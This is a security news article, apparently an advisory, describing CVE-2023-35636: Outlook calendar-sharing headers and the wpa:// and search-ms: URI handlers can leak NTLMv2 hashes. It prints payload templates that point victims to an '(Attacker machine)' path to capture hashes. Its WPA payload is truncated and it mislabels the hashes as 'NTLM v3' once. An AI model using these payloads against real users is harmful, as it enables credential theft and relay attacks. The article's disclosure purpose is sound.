A new Outlook vulnerability that can be used to extract NTLMv2 hashes by exploiting Outlook, Windows Performance Analyzer (WPA), and Windows File Explorer has been identified.
This vulnerability has been assigned with CVE-2023-35636, and the severity has been given as 6.5 (Medium).
This vulnerability was reported to Microsoft in July 2023, and they took action by patching the WPA and File Explorer with “Moderate Severity.”
Microsoft has completely patched this vulnerability in December 2023. However, unpatched systems are still vulnerable to exploitation and stealing of hashed passwords.
This vulnerability is an exploit of the calendar-sharing function in Outlook, which, if two additional headers are added, can result in directing Outlook to connect and share content to an external machine. This connectivity can further be utilized for intercepting NTLMv2 hash.
Suppose an attacker is successful in extracting NTLM v3 hashes. In that case, there are two possible methods of attack, which are Offline brute-force attacks, which can reveal the original password, and authentication relay attacks, in which an authentication request to a server can be manipulated by the attacker with the NTLMv2 hash and get authenticated to the server under the name of the victim.
Leaking of NTLM v2 hashes using Outlook
Outlook serves as the email and calendar tool for the Microsoft 365 suite, which is used by millions of people and organizations worldwide.
One of its prime features is the sharing of calendars between users, which can be exploited to trigger an attempt for authentication that can result in redirecting the hashed password to the attacker’s server.
The headers that can be used for exploitation are,
- “Content-Class” = “Sharing” — tells Outlook that this email contains sharing content.
- “x-sharing-config-url” = \(Attacker machine)a.ics — points the victim’s Outlook to the attacker’s machine.
Leaking NTLM v2 Hashes using URI Handlers
Windows Performance Analyzer (WPA), the default feature in Windows, performs an action to install a URI handler for WPA:// by default, which enables the program to launch automatically when a user clicks on a WPA-related link.
Moreover, this feature uses NTLM v2 hashes for authentication over the open web. This makes it vulnerable to relay and offline brute-force attacks.
To exploit this WPA, the threat actor can send a payload that will have three parts.
Full payload:
wpa:////
wpa:// — tells the operating system that this link should open in WPA.
//
/bla — tells the victim’s machine which file to access.
Leaking NTLM v2 Hashes using Windows File Explorer
There is a URI handle “search-ms” that activates the explorer.exe’s search feature and points the explorer.exe process to the web. This explorer.exe is one of the most powerful processes in the Windows Operating system, which has several capabilities to browse files and folders, copy and move files, and create and delete folders.
However, as part of the exploitation, there were two parameters identified as part of Microsoft’s documentation: “subquery” and “crumb”. For exploitation with the “subquery” parameter, the below payload can be used
- search-ms://query=poc&subquery=\(Attacker machine)poc.search-ms
- search-ms:// – tells the operating system that this link should open in exe.
- query=poc – Fake search query
- &subquery=\(Attacker machine)poc.search-ms — Path to .search-ms file.
For exploitation with the “crumb” parameter, the below payload can be used,
search-ms://query=poc&crumb=location:\(Attacker machine)
- search-ms:// – tells the operating system that this link should open in exe.
- query=poc – Fake search query
- crumb=location:\(Attacker machine) — The location property under the crumb parameter allows the user to specify a path for the search.
Furthermore, a complete report has been published, providing detailed information about the attack scenarios, exploitation methods, etc.
Try Kelltron’s cost-effective penetration testing services to evaluate digital systems security. Free demo available.